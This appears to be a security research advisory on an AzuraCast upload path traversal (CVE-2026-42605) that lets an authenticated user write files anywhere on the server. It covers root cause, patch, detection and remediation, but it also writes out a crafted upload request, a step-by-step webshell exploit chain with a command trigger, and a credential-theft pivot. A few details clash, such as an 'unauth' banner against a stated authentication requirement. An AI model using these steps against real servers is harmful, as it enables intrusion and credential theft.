home intel azuracast-path-traversal-rce-flow-upload
CVE Analysis 2026-05-09 · 9 min read

CVE-2026-42605: AzuraCast Path Traversal to RCE via Flow.js Upload

Unsanitized currentDirectory parameter in AzuraCast's Flow.js upload endpoint allows authenticated users to write arbitrary files outside station root, enabling PHP webshell deployment.

#path-traversal#remote-code-execution#file-upload#azuracast#authentication-required
Technical mode — for security professionals
▶ Attack flow — CVE-2026-42605 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-42605Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-42605 is a path traversal vulnerability in AzuraCast's chunked file upload endpoint that permits an authenticated user with media management privileges to write arbitrary files anywhere on the server filesystem. On default installations — which use a local filesystem storage backend — this trivially escalates to remote code execution by dropping a PHP webshell into the web root. CVSS 8.8 (HIGH) reflects the low attack complexity and high impact triad, gated only by the requirement for an authenticated session with station file manager access.

The vulnerability exists in all AzuraCast versions prior to 0.23.6 and was silently present since the Flow.js resumable upload feature was introduced. No exploitation in the wild has been observed as of publication.

Affected Component

The vulnerable endpoint is POST /api/station/{station_id}/files/upload, handled by AzuraCast's API controller responsible for media management. The Flow.js protocol splits large uploads into numbered chunks; the server reassembles them using metadata supplied by the client, including a currentDirectory parameter that specifies the destination subdirectory within the station's media storage path. This parameter is passed directly into a filesystem path construction routine without normalization or traversal sequence stripping.

Storage backend: LocalFilesystemAdapter (default). PHP runtime: the AzuraCast application server (nginx + PHP-FPM) serves files from the web root, making the process user's filesystem access the effective privilege boundary.

Root Cause Analysis

Root cause: The currentDirectory POST parameter is concatenated directly into the destination path passed to the Flow.js chunk reassembly routine without stripping ../ sequences, permitting traversal out of the station's media storage directory.

The following pseudocode reconstructs the vulnerable path-building logic from the pre-patch codebase:

// FilesController::uploadAction() — simplified pseudocode
// Equivalent PHP logic reconstructed from pre-0.23.6 behavior

string uploadAction(Request $request, int $station_id)
{
    Station     *station    = getStation(station_id);
    StoragePath *base       = station->getMediaStoragePath();  // e.g. /var/azuracast/stations/1/media

    // BUG: currentDirectory is attacker-controlled, never sanitized
    string currentDirectory = $request->getParsedBodyParam("currentDirectory", "");

    // Direct string concatenation — no realpath(), no traversal check
    string destPath = base->getPath() + "/" + currentDirectory;

    // Flow.js chunk reassembly writes the final file to destPath
    FlowUploader::reassemble($request, destPath);  // writes file at destPath/
}

The FlowUploader::reassemble routine honors the assembled destination path verbatim. Because currentDirectory can contain arbitrary sequences like ../../../../../../var/www/html/, the reassembled file lands anywhere the PHP-FPM process user can write. No call to realpath() or equivalent prefix-assertion is made before the write occurs.

The following illustrates the exact parameter structure sent during a malicious upload chunk:

POST /api/station/1/files/upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----FlowBoundary
Cookie: session=

------FlowBoundary
Content-Disposition: form-data; name="flowChunkNumber"
1
------FlowBoundary
Content-Disposition: form-data; name="flowTotalChunks"
1
------FlowBoundary
Content-Disposition: form-data; name="flowFilename"
shell.php
------FlowBoundary
Content-Disposition: form-data; name="currentDirectory"

../../../../../../var/www/html/uploads
------FlowBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream


------FlowBoundary--

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker authenticates to AzuraCast with any account holding
   "Manage Station Media" permission (station-scoped, low privilege).

2. Enumerate station_id via GET /api/stations (unauthenticated endpoint)
   to obtain a valid {station_id} integer.

3. Determine web root via error messages, default paths, or Docker
   layer inspection. Default: /var/www/html/public (Docker install)
   or /var/azuracast/www/public (Ansible install).

4. Construct traversal string:
     currentDirectory = "../../../../../../var/www/html/public"
   Depth depends on station media path nesting; 6 levels covers
   default Docker layout reliably.

5. Send single-chunk Flow.js upload (flowTotalChunks=1) with:
     flowFilename    = "shell.php"
     currentDirectory = 
     file body       = PHP webshell payload

6. Server writes /var/www/html/public/shell.php owned by www-data.

7. Trigger execution:
     GET /shell.php?cmd=id HTTP/1.1
     Host: target.example.com

   Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)

8. Pivot: www-data has read access to /var/azuracast/.env containing
   database credentials, AzuraCast secret key, and broadcast passwords.

Single-chunk uploads (setting flowTotalChunks=1 and flowChunkNumber=1) bypass any intermediate temp-file staging: the reassembler treats the upload as complete and moves the chunk directly to the resolved destination path in one filesystem operation.

Memory Layout

This vulnerability is not a memory corruption issue — it is a logic flaw in path construction. The relevant "layout" is the filesystem hierarchy and how the unsanitized parameter escapes the intended trust boundary:

FILESYSTEM STATE — INTENDED BEHAVIOR:
  Station media root:  /var/azuracast/stations/1/media/
  Upload destination:  /var/azuracast/stations/1/media//

  Example (benign):
    currentDirectory = "subfolder"
    Final path:        /var/azuracast/stations/1/media/subfolder/track.mp3  [OK]

FILESYSTEM STATE — AFTER TRAVERSAL:
  currentDirectory = "../../../../../../var/www/html/public"
  Constructed path:

  /var/azuracast/stations/1/media/
  + ../../../../../../var/www/html/public
  = /var/www/html/public/                          <-- escaped station root
  + shell.php
  = /var/www/html/public/shell.php                 <-- WEBSHELL WRITTEN HERE

  PHP-FPM (www-data) serves /var/www/html/public/* directly.
  shell.php is now an executable endpoint with no auth requirement.

PATH COMPONENTS RESOLVED BY OS:
  /var/azuracast/stations/1/media/  (6 real segments after /)
  ../../../../../../                (6 x ".." → reaches /)
  var/www/html/public/shell.php     (attacker-controlled suffix)

Patch Analysis

Version 0.23.6 introduces path sanitization before the destination is constructed. The fix validates that the resolved absolute path is prefixed by the station's authorized media storage path, rejecting any request where traversal would escape the boundary.

// BEFORE (vulnerable, pre-0.23.6):
string destPath = base->getPath() + "/" + currentDirectory;
// No validation — currentDirectory written directly into path
FlowUploader::reassemble($request, destPath);


// AFTER (patched, 0.23.6):
string rawDirectory  = $request->getParsedBodyParam("currentDirectory", "");

// Strip ALL path traversal sequences before use
string safeDirectory = sanitizeCurrentDirectory(rawDirectory);

string destPath      = base->getPath() + "/" + safeDirectory;

// Secondary defense: assert resolved path is within authorized root
string resolvedDest  = realpath_or_throw(destPath);
string resolvedBase  = realpath_or_throw(base->getPath());

if (!str_starts_with(resolvedDest, resolvedBase + "/")) {
    throw SecurityException("Path traversal detected in currentDirectory");
}

FlowUploader::reassemble($request, destPath);


// sanitizeCurrentDirectory() — strips traversal sequences
string sanitizeCurrentDirectory(string input) {
    // Remove null bytes
    input = str_replace("\0", "", input);
    // Collapse and remove traversal sequences
    while (str_contains(input, "..")) {
        input = str_replace("../", "",  input);
        input = str_replace(".." , "",  input);
    }
    // Strip leading slash (prevent absolute path injection)
    input = ltrim(input, "/\\");
    return input;
}

The defense-in-depth approach — sanitize first, then assert with realpath() — is the correct pattern. A realpath()-only check is insufficient if the directory doesn't exist yet (some PHP versions return false for non-existent paths, nullifying the prefix check). The patch applies both layers.

Detection and Indicators

Detection relies primarily on web server and PHP-FPM access logs. Look for:

INDICATORS OF COMPROMISE:

1. Upload requests with encoded traversal in POST body:
   Grep nginx access.log for:
     POST /api/station/.*/files/upload
   Then inspect raw body logs or WAF logs for:
     currentDirectory=..%2F  |  currentDirectory=../  |  %2e%2e%2f

2. Unexpected .php files in web root directories:
   find /var/www/html -name "*.php" -newer /var/www/html/index.php \
        -not -path "*/vendor/*" -not -path "*/src/*"

3. PHP-FPM execution of files outside application source tree:
   Monitor php-fpm slow log and error log for scripts in:
     /var/www/html/public/*.php  (non-framework files)

4. Outbound connections from www-data:
   auditd rule: -a always,exit -F arch=b64 -S connect \
                -F uid=33 -k www-data-outbound

5. Anomalous GET requests to non-application PHP files:
   GET /shell.php    HTTP 200
   GET /cmd.php      HTTP 200
   GET /upload.php   HTTP 200

Remediation

Immediate: Upgrade to AzuraCast 0.23.6 or later. No configuration change is sufficient as a standalone mitigation — the parameter sanitization must be present in application code.

Defense-in-depth for self-hosters who cannot immediately patch:

  • Restrict the PHP-FPM process user (www-data) to read-only access on all directories outside /var/azuracast/stations/ and /var/www/html/ using filesystem ACLs or a dedicated service account.
  • Mount the web root with a noexec-equivalent control: configure nginx to deny execution of .php files from upload directories explicitly.
  • Apply a WAF rule blocking currentDirectory POST parameters containing ../, %2e%2e, or %2f sequences against the upload endpoint.
  • Audit existing media directories for unexpected .php, .phtml, or .phar files.

Principle of least privilege reminder: "Manage Station Media" is a granular permission intended for content managers, not administrators. The blast radius of this permission was implicitly elevated to OS-level RCE — a permission model failure that the patch addresses at the filesystem boundary rather than the permission layer.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →